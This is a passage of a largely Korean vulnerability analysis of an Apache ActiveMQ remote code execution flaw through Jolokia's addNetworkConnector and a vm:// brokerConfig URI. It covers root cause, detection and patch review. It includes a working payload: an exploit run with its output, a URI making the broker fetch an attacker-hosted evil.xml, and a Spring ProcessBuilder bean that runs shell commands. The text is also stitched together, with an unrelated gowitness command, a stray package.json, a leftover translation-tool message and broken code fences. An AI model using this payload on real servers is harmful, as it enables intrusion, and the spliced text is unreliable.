### Docker 이미지

실행:

```sh
docker run -it --rm --name gowitness -v $(pwd):/data ghcr.io/sensepost/gowitness report serve
``````bash
❯ python3 exploit_poc.py auto \
    --target http://localhost:8161 \
    --lhost 192.168.1.32 --lport 9999 \
    --cmd "touch /tmp/blahblah.txt"

======================================================================
  CVE-2026-34197 — ActiveMQ RCE via Jolokia + VM Transport
  For authorized security testing and research only.
======================================================================

[*] Target: http://localhost:8161
[*] Command: touch /tmp/blahblah.txt
[*] Serving malicious Spring XML on http://0.0.0.0:9999/evil.xml
[+] Jolokia accessible — agent version: unknown
[*] Could not discover broker name, using default 'localhost'
[*] Sending exploit payload to http://localhost:8161/api/jolokia/
[*] Malicious URI: static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Jolokia returned 200 — exploit payload delivered
[+] Response: {
  "request": {
    "mbean": "org.apache.activemq:brokerName=localhost,type=Broker",
    "arguments": [
      "static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)"
    ],
    "type": "exec",
    "operation": "addNetworkConnector(java.lang.String)"
  },
  "value": "NC",
  "timestamp": 1775616523,
  "status": 200
}
[*] Waiting 5s for target to fetch payload...
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Done. Verify command execution on target.

=> RCE 성공, 파일 `blahblah.txt`가 대상 시스템에 생성되었습니다.

# 분석 단계
## 동적 분석```bash
❯ docker exec activemq-vuln java -version 

openjdk version "11.0.24" 2024-07-16
OpenJDK Runtime Environment Temurin-11.0.24+8 (build 11.0.24+8)
OpenJDK 64-Bit Server VM Temurin-11.0.24+8 (build 11.0.24+8, mixed mode, sharing)

❯ docker exec activemq-vuln sh -c 'ls /opt/apache-activemq/lib | grep activemq'
activemq-broker-5.18.6.jar
activemq-client-5.18.6.jar
activemq-console-5.18.6.jar
activemq-jaas-5.18.6.jar
activemq-kahadb-store-5.18.6.jar
activemq-openwire-legacy-5.18.6.jar
activemq-protobuf-1.1.jar
activemq-rar.txt
activemq-spring-5.18.6.jar
activemq-web-5.18.6.jar

연결 확인```bash
❯ curl -i -u admin:admin \
  -H 'Origin: http://localhost:8161' \
  http://localhost:8161/api/jolokia/
HTTP/1.1 200 OK
Date: Mon, 18 May 2026 04:37:28 GMT
X-FRAME-OPTIONS: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Cache-Control: no-cache
Access-Control-Allow-Origin: http://localhost:8161
Access-Control-Allow-Credentials: true
Content-Type: text/plain;charset=utf-8
Pragma: no-cache
Expires: Mon, 18 May 2026 03:37:28 GMT
Transfer-Encoding: chunked

{"request":{"type":"version"},"value":{"agent":"1.7.1","protocol":"7.2","config":{"listenForHttpService":"true","authIgnoreCerts":"false","agentId":"172.21.0.2-42-aa61e4e-servlet","debug":"false","agentType":"servlet","policyLocation":"${prop:jolokia.conf}","agentContext":"\/jolokia","serializeException":"false","mimeType":"text\/plain","dispatcherClasses":"org.jolokia.http.Jsr160ProxyNotEnabledByDefaultAnymoreDispatcher","multicastGroup":"239.192.48.84","authMode":"basic","authMatch":"any","streaming":"true","canonicalNaming":"true","historyMaxEntries":"10","allowErrorDetails":"false","allowDnsReverseLookup":"true","realm":"jolokia","includeStackTrace":"true","multicastPort":"24884","useRestrictorService":"false","debugMaxEntries":"100"},"info":{"product":"activemq","vendor":"Apache","version":"5.18.6"}},"timestamp":1779079048,"status":200}

그런 다음 clean chain에 대해 grep을 수행합니다```bash
❯ grep -E \
'addNetworkConnector|doCompositeConnect|createBroker|ResourceXmlApplicationContext|loadBeanDefinitions|ProcessBuilder|xbean|brokerConfig' \
activemq-rce.log
Loading message broker from: xbean:activemq.xml
 INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342) ~[spring-beans-5.3.39.jar:5.3.39]
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:310) ~[spring-beans-5.3.39.jar:5.3.39]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:104) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:64) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:52) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.activemq.xbean.XBeanBrokerFactory$1.<init>(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:54) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:333) ~[spring-beans-5.3.39.jar:5.3.39]
 WARN | Could not connect to remote URI: vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml: IOException parsing XML document from URL [http://192.168.1.17:9999/evil.xml]; nested exception is java.net.ConnectException: Connection refused (Connection refused)

이 줄은 공격자가 제어하는 URI가 다음을 통해 제공되었음을 확인하기 때문에 중요합니다:```java
BrokerView.addNetworkConnector(String)

이 URI는 두 가지 중요한 부분을 포함합니다:

| 구성 요소      | 목적                                           |
| --------------- | ------------------------------------------------- |
| `static:(...)`  | ActiveMQ 검색 커넥터에서 사용하는 래퍼     |
| `vm://evil?...` | ActiveMQ 내부에서 처리되는 VM 전송 URI |

`static:(...)` 래퍼 자체는 취약한 구성 요소가 아닙니다. 그 목적은 포함된 전송 URI를 ActiveMQ의 네트워크 커넥터 하위 시스템에 전달하는 것입니다.

런타임 실행 중에 ActiveMQ는 내부 VM 전송 URI를 추출하여 처리했습니다:```text
vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml

`brokerConfig=` 매개변수는 페이로드의 중요한 부분입니다. 이는 VM 전송 계층에 외부 Spring xbean 구성에서 로드된 브로커 인스턴스를 동적으로 생성하도록 지시했습니다. 다음에서:```text
http://192.168.1.32:9999/evil.xml

결과적으로, 원격 XML 문서가 브로커 JVM 내에서 Spring 애플리케이션 컨텍스트로 파싱되고 인스턴스화되었습니다.

악성 XML에는 다음과 같은 Spring 빈(bean)이 포함되어 있습니다:```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">

Spring이 컨텍스트 초기화 중에 싱글톤 빈을 즉시 인스턴스화하기 때문에, ActiveMQ가 브로커 구성 자체가 안전하거나 유효한지 검증하기 전에 `ProcessBuilder.start()` 메서드가 실행되었습니다.

이로 인해 대상 컨테이너에서 임의의 명령이 실행되었습니다.

익스플로잇은 ActiveMQ 컨테이너 내부의 `/tmp` 디렉터리를 확인하여 검증되었습니다.```bash
❯ docker exec -it activemq-vuln ls -lah /tmp

total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root    0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root

이는 ActiveMQ 컨테이너 컨텍스트 내에서 임의의 운영 체제 명령이 성공적으로 실행되었음을 증명합니다.

런타임 스택 트레이스는 또한 전체 취약한 실행 경로를 드러냈습니다:```text
BrokerView.addNetworkConnector()
  ->
VMTransportFactory.doCompositeConnect()
  ->
BrokerFactory.createBroker()
  ->
XBeanBrokerFactory.createApplicationContext()
  ->
ResourceXmlApplicationContext
  ->
XmlBeanDefinitionReader.loadBeanDefinitions()
  ->
Spring bean instantiation
  ->
ProcessBuilder.start()
  ->
OS command execution

동적 분석 중 가장 중요한 관찰 중 하나는 Spring과 ActiveMQ가 악성 구성을 처리한 순서였습니다.

페이로드가 성공적으로 실행된 후, ActiveMQ는 나중에 다음과 같은 경고를 생성했습니다:```text
WARN | Could not connect to remote URI:
The configuration has no BrokerService instance for resource:
xbean:http://192.168.1.32:9999/evil.xml

Even though the broker configuration itself was ultimately rejected, the malicious Spring bean had already been instantiated and executed.

This ordering issue is the core logic flaw behind CVE-2026-34197.

The dynamic analysis identified the following components participating in the exploit chain:

| Component                     | Role                               |
| ----------------------------- | ---------------------------------- |
| Jolokia                       | HTTP-to-JMX 브리지                 |
| BrokerView                    | 노출된 관리 MBean                  |
| VMTransportFactory            | `vm://` 전송 URI를 구문 분석       |
| BrokerFactory                 | 브로커 인스턴스 생성               |
| XBeanBrokerFactory            | Spring xbean 구성 로드             |
| ResourceXmlApplicationContext | 원격 XML 로드                      |
| XmlBeanDefinitionReader       | Spring bean 정의 구문 분석         |
| Spring BeanFactory            | 싱글톤 bean 인스턴스화            |
| ProcessBuilder                | 운영 체제 명령 실행                |

The dynamic analysis confirms that CVE-2026-34197 is caused by the interaction between:

* 과도하게 허용적인 Jolokia 관리 작업
* 공격자가 제어하는 전송 URI
* VM 전송 브로커 자동 생성
* Spring xbean 원격 구성 로드
* 검증 전 조기 싱글톤 bean 인스턴스화

As a result, an authenticated attacker can achieve arbitrary code execution on the ActiveMQ JVM by supplying a malicious `brokerConfig=xbean:http://...` URI through the Jolokia-exposed `addNetworkConnector()` operation.

### Architecture Overview

Apache ActiveMQ Classic은 다음에서 사용 가능한 Jolokia JMX-HTTP 브리지를 통해 관리 인터페이스를 노출합니다:```text id="n0vmrq"
/api/jolokia/

The following components were involved in the exploit chain:

| Component             | Function                                     |
| --------------------- | -------------------------------------------- |
| Jolokia               | HTTP를 통해 JMX 작업을 노출합니다             |
| BrokerView            | 관리 MBean 인터페이스                        |
| VMTransportFactory    | `vm://` 전송 URI를 처리합니다                 |
| BrokerFactory         | 동적으로 브로커를 생성합니다                  |
| XBeanBrokerFactory    | Spring xbean 구성을 로드합니다                |
| Spring Context Loader | XML bean 정의를 파싱하고 인스턴스화합니다     |
| ProcessBuilder        | 운영 체제 명령을 실행합니다                   |

ActiveMQ가 인증된 사용자가 공격자가 제어하는 전송 URI로 위험한 브로커 관리 메서드를 호출할 수 있도록 허용하기 때문에 아키텍처가 취약해집니다.

---

### Attack Surface Analysis

The primary attack surface is the Jolokia HTTP endpoint exposed through the ActiveMQ web console:```text id="xq7vba"
http://<target>:8161/api/jolokia/

Jolokia 엔드포인트는 HTTP 기본 인증을 사용하여 인증된 요청을 수락했습니다:```json id="13tzmx"
"authMode":"basic"

이 메서드는 사용자 제어 전송 URI를 수용하면서 위험한 URI 스킴이나 구성 매개변수를 충분히 제한하지 않습니다.

공격자는 다음 페이로드를 제공했습니다:```text id="v3u3f2"
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)

중요한 매개변수는:```text id="s59jsn"
brokerConfig=xbean:http://attacker/evil.xml

Spring은 그 후 원격 XML을 다음을 통해 로드했습니다:```text id="i54jqs"
org.apache.xbean.spring.context.ResourceXmlApplicationContext

Spring 애플리케이션 컨텍스트 초기화 중에 싱글톤 빈은 즉시 인스턴스화됩니다. 그 결과 `ProcessBuilder.start()` 메서드가 즉시 실행되었습니다.

핵심 로직 결함은 ActiveMQ가 브로커 구성 자체가 안전하거나 유효한지 검증하기 전에 Spring 빈 인스턴스화가 발생했다는 것입니다.

이 동작은 다음과 같이 동적으로 입증되었습니다:

1. 악성 페이로드가 성공적으로 `/tmp/blahblah.txt`를 생성했습니다.
2. ActiveMQ는 나중에 다음과 같은 브로커 구성을 거부했습니다:```text id="6k1dwn"
The configuration has no BrokerService instance

통해:```text id="pt2n3d"
/api/jolokia/

악성 페이로드 예시:```text id="wjsowq"
static:(vm://evil?brokerConfig=xbean:http://attacker/evil.xml)

브로커 JVM에서 예상치 못한 아웃바운드 HTTP 트래픽이 발생하면 조사해야 합니다.

#### Suspicious Runtime Logs

다음 런타임 메시지는 의심스럽습니다:```text id="1zj8yf"
Establishing network connection from vm://localhost to vm://evil

{
  "name": "roadtool_name",
  "version": "1.0.0",
  "description": "A tool for testing authentication security",
  "main": "index.js"
}

정확한 번역을 위해서는 입력 내용이 필요합니다. 현재 입력이 제공되지 않았습니다.```text id="jzsk0g"
XmlBeanDefinitionReader.loadBeanDefinitions

또는 ActiveMQ JVM에서 의심스러운 자식 프로세스 실행이 발생하면 악용을 나타낼 수 있습니다.

---

### 영향 분석

성공적인 악용은 ActiveMQ JVM 컨텍스트 내에서 인증된 원격 코드 실행을 허용합니다.

분석된 환경에서는 컨테이너 내에서 임의의 운영 체제 명령이 성공적으로 실행되었습니다:```bash id="2hyz0w"
touch /tmp/blahblah.txt

파일은 다음과 같이 생성되었습니다:```text id="9phgkz"
Uid: (0/root)

#### Jolokia 접근 제한

필요하지 않으면 Jolokia를 비활성화하십시오.

Jolokia를 활성화해야 하는 경우:

* 신뢰할 수 있는 관리 네트워크로 접근 제한
* 강력한 인증 적용
* 위험한 exec 작업 비활성화
* 엄격한 Jolokia 접근 정책 적용

#### 기본 자격 증명 제거

사용하지 마십시오:```text id="9mw1xv"
admin:admin

MBean 인터페이스는 작업을 다음과 같이 노출합니다:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerViewMBean.java
@MBeanInfo("Adds a Network Connector to the broker.")
String addNetworkConnector(@MBeanInfo("discoveryAddress") String discoveryAddress) throws Exception;

커넥터 객체는 로컬 브로커 URI로 구성된 후 브로커에 추가됩니다:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java
public NetworkConnector addNetworkConnector(NetworkConnector connector) throws Exception {
    connector.setBrokerService(this);
    connector.setLocalUri(getVmConnectorURI());
    ...
    networkConnectors.add(connector);
    return connector;
}

exploit URI의 경우:```text
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)

취약한 메서드는:```java
// activemq-broker/src/main/java/org/apache/activemq/transport/vm/VMTransportFactory.java
public Transport doCompositeConnect(URI location) throws Exception

'create' 옵션의 기본값은 `true` 입니다:```java
boolean create = true;
...
if ("false".equals(options.remove("create"))) {
    create = false;
}

이는 전송 수준의 권한 경계 실패입니다. 관리 평면을 통해 제공된 URI가 VM 전송에 의해 임의의 구성 URI에서 브로커를 생성하라는 명령으로 평가됩니다.

나머지 매개변수 유효성 검사는 브로커 생성 후에 발생합니다:```java
if (!options.isEmpty()) {
    throw new IllegalArgumentException("Invalid connect parameters: " + options);
}
return transport;

For `static:(...)`, `SimpleDiscoveryAgent.start()`는 설정된 각 서비스를 즉시 방출합니다:```java
// activemq-client/src/main/java/org/apache/activemq/transport/discovery/simple/SimpleDiscoveryAgent.java
public void start() throws Exception {
    taskRunner = new TaskRunnerFactory();
    taskRunner.init();

    running.set(true);
    for (int i = 0; i < services.length; i++) {
        listener.onServiceAdd(new SimpleDiscoveryEvent(services[i]));
    }
}

핸들러 조회는 스키마 기반입니다:```java
private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER =
    new FactoryFinder("META-INF/services/org/apache/activemq/broker/");

public static BrokerFactoryHandler createBrokerFactoryHandler(String type) throws IOException {
    try {
        return (BrokerFactoryHandler)BROKER_FACTORY_HANDLER_FINDER.newInstance(type);
    } catch (Throwable e) {
        throw IOExceptionSupport.create("Could not load " + type + " factory:" + e, e);
    }
}

정확한 정적 호출 흐름:```text
BrokerView.addNetworkConnector(String)
  -> BrokerService.addNetworkConnector(String)
  -> BrokerService.addNetworkConnector(URI)
  -> DiscoveryNetworkConnector.<init>(URI)
  -> DiscoveryNetworkConnector.handleStart()
  -> SimpleDiscoveryAgent.start()
  -> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent)
  -> TransportFactory.connect(URI)
  -> VMTransportFactory.doConnect(URI)
  -> VMTransportFactory.doCompositeConnect(URI)
  -> BrokerFactory.createBroker(URI)
  -> BrokerFactory.createBroker(URI, boolean)
  -> XBeanBrokerFactory.createBroker(URI)

대상:```text
BrokerFactory.createBroker(new URI("xbean:http://attacker/evil.xml"))

`createBroker()`는 `xbean:` URI의 스키마 특정 부분을 추출하고, 브로커를 포함하는지 확인하기 전에 Spring 애플리케이션 컨텍스트를 생성합니다:```java
public BrokerService createBroker(URI config) throws Exception {
    String uri = config.getSchemeSpecificPart();
    if (uri.lastIndexOf('?') != -1) {
        IntrospectionSupport.setProperties(this, URISupport.parseQuery(uri));
        uri = uri.substring(0, uri.lastIndexOf('?'));
    }

    ApplicationContext context = createApplicationContext(uri);

    BrokerService broker = null;
    try {
        broker = (BrokerService)context.getBean("broker");
    } catch (BeansException e) {
    }
    ...
}

원격 리소스는 `Utils.resourceFromString()`을 통해 허용됩니다:```java
// activemq-spring/src/main/java/org/apache/activemq/spring/Utils.java
public static Resource resourceFromString(String uri) throws MalformedURLException {
    Resource resource;
    File file = new File(uri);
    if (file.exists()) {
        resource = new FileSystemResource(uri);
    } else if (ResourceUtils.isUrl(uri)) {
        try {
            resource = new UrlResource(ResourceUtils.getURL(uri));
        } catch (FileNotFoundException e) {
            MalformedURLException malformedURLException = new MalformedURLException(uri);
            malformedURLException.initCause(e);
            throw  malformedURLException;
        }
    } else {
        resource = new ClassPathResource(uri);
    }
    return resource;
}

다음과 같이 축소됩니다:```text
http://192.168.1.32:9999/evil.xml

XBean 4.25에서 `ResourceXmlApplicationContext`는 생성자에서 `refresh()`를 호출합니다:```java
// org/apache/xbean/spring/context/ResourceXmlApplicationContext.java
public ResourceXmlApplicationContext(Resource resource, List xmlPreprocessors) {
    super();
    this.xmlPreprocessors = xmlPreprocessors;
    this.resource = resource;
    refresh();
}

Spring의 `AbstractApplicationContext.refresh()`는 그런 다음 빈 팩토리를 초기화하고 지연되지 않는 싱글톤 빈들을 인스턴스화합니다:```java
// org/springframework/context/support/AbstractApplicationContext.java
// Instantiate all remaining (non-lazy-init) singletons.
finishBeanFactoryInitialization(beanFactory);

`DefaultListableBeanFactory.preInstantiateSingletons()`는 모든 비추상, 싱글톤, 비지연 빈을 생성합니다:```java
for (String beanName : beanNames) {
    RootBeanDefinition bd = getMergedLocalBeanDefinition(beanName);
    if (!bd.isAbstract() && bd.isSingleton() && !bd.isLazyInit()) {
        ...
        getBean(beanName);
    }
}

사용자 정의 init 메서드는 빈 정의에서 해석됩니다:```java
String initMethodName = mbd.getInitMethodName();
if (StringUtils.hasLength(initMethodName) &&
        !(isInitializingBean && "afterPropertiesSet".equals(initMethodName)) &&
        !mbd.hasAnyExternallyManagedInitMethod(initMethodName)) {
    invokeCustomInitMethod(beanName, bean, mbd);
}

악의적인 Spring XML bean 예:```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
        <list>
            <value>sh</value>
            <value>-c</value>
            <value>touch /tmp/blahblah.txt</value>
        </list>
    </constructor-arg>
</bean>

이것은 `XBeanBrokerFactory.createBroker()`가 `BrokerService` 빈을 찾아 결과 컨텍스트를 검증하기 전에 발생합니다:```java
ApplicationContext context = createApplicationContext(uri);

BrokerService broker = null;
try {
    broker = (BrokerService)context.getBean("broker");
} catch (BeansException e) {
}

if (broker == null) {
    String[] names = context.getBeanNamesForType(BrokerService.class);
    ...
}

if (broker == null) {
    throw new IllegalArgumentException("The configuration has no BrokerService instance for resource: " + config);
}

유효성 검사가 너무 늦게 발생합니다. 그 이유는 `XBeanBrokerFactory`에서 유일한 브로커 구성 검증이 다음 이후에 발생하기 때문입니다:```java
new ResourceXmlApplicationContext(resource)

By the time ActiveMQ determines that the XML has no valid `BrokerService`, attacker-controlled Spring beans may already have executed.

---

### 패치 분석

The relevant diff was reviewed with:```bash
git diff activemq-5.18.6..activemq-5.19.4

5.18.6에서 `addNetworkConnector()`는 문자열을 직접 전달했습니다:```java
public String addNetworkConnector(String discoveryAddress) throws Exception {
    NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
    ...
    connector.start();
    return connector.getName();
}

동일한 유효성 검사가 `addConnector()`에 추가되었습니다:```diff
 public String addConnector(String discoveryAddress) throws Exception {
+    // Verify VM transport is not used
+    validateAllowedUrl(discoveryAddress);
     TransportConnector connector = brokerService.addConnector(discoveryAddress);

// First check the main URI scheme
validateAllowedScheme(uri.getScheme());

// If composite, iterate and check each of the composite URIs
if (URISupport.isCompositeURI(uri)) {
    URISupport.CompositeData data = URISupport.parseComposite(uri);
    depth++;
    for (URI component : data.getComponents()) {
        if (URISupport.isCompositeURI(uri)) {
            validateAllowedUri(component, depth);
        } else {
            validateAllowedScheme(uri.getScheme());
        }
    }
}

패치된 실행 경로는 다음과 같습니다:```text
Jolokia exec
  -> BrokerView.addNetworkConnector(String)
  -> validateAllowedUrl(String)
  -> validateAllowedUri(URI)
  -> validateAllowedScheme("vm")
  -> IllegalArgumentException("VM scheme is not allowed")

이 패치는 VM 전송 지원을 전역적으로 제거하지 않습니다. JMX를 통해 노출된 `BrokerView` 커넥터 생성 메서드를 통한 `vm://` 사용을 제한합니다. VM 전송을 사용하는 내부 또는 신뢰된 코드 경로는 여전히 존재합니다.

`VMTransportFactory.doCompositeConnect()`에는 5.18.6과 5.19.4 사이에 보안 관련 변경이 이루어지지 않았습니다. `brokerConfig` 동작은 그대로 유지됩니다:```java
String config = options.remove("brokerConfig");
if (config != null) {
    brokerURI = new URI(config);
}
...
broker = BrokerFactory.createBroker(brokerURI);

이는 타입 안전성 정리 작업이지, RCE 완화가 아닙니다. `XBeanBrokerFactory`로의 스킴 기반 디스패치는 유지됩니다.

`BrokerService`는 일부 경로에서 커넥터 시작을 위한 `isAutoStart()` 검사를 추가했습니다:```diff
- connector.start();
+ if(connector.isAutoStart()) {
+     connector.start();
+ }

Exploitation is possible because ActiveMQ exposes a management operation that accepts a connector URI, but the downstream transport implementation can interpret that URI as broker creation configuration. The `brokerConfig` parameter crosses from transport connection logic into broker factory logic. With an `xbean:` value, it crosses again into Spring XML processing.

The Spring execution primitive is not a separate deserialization bug. It is normal Spring lifecycle behavior: a non-lazy singleton bean is instantiated during context refresh, and its configured `init-method` is invoked. A `java.lang.ProcessBuilder` bean with `init-method="start"` therefore executes a process during application context initialization.

The validation failure is an ordering flaw. ActiveMQ validates whether the XBean configuration contains a usable `BrokerService` only after `ResourceXmlApplicationContext` has already loaded the XML and initialized singleton beans. Rejection of the broker configuration after refresh does not undo side effects from bean lifecycle methods.

The 5.19.4 patch mitigates this specific path by adding URI validation in `BrokerView` before connector creation and rejecting `vm://` transport usage from the JMX management surface. The patch blocks the exposed path to `VMTransportFactory.doCompositeConnect()`; it does not remove `brokerConfig`, `xbean:` support, or Spring XBean loading from trusted internal configuration paths.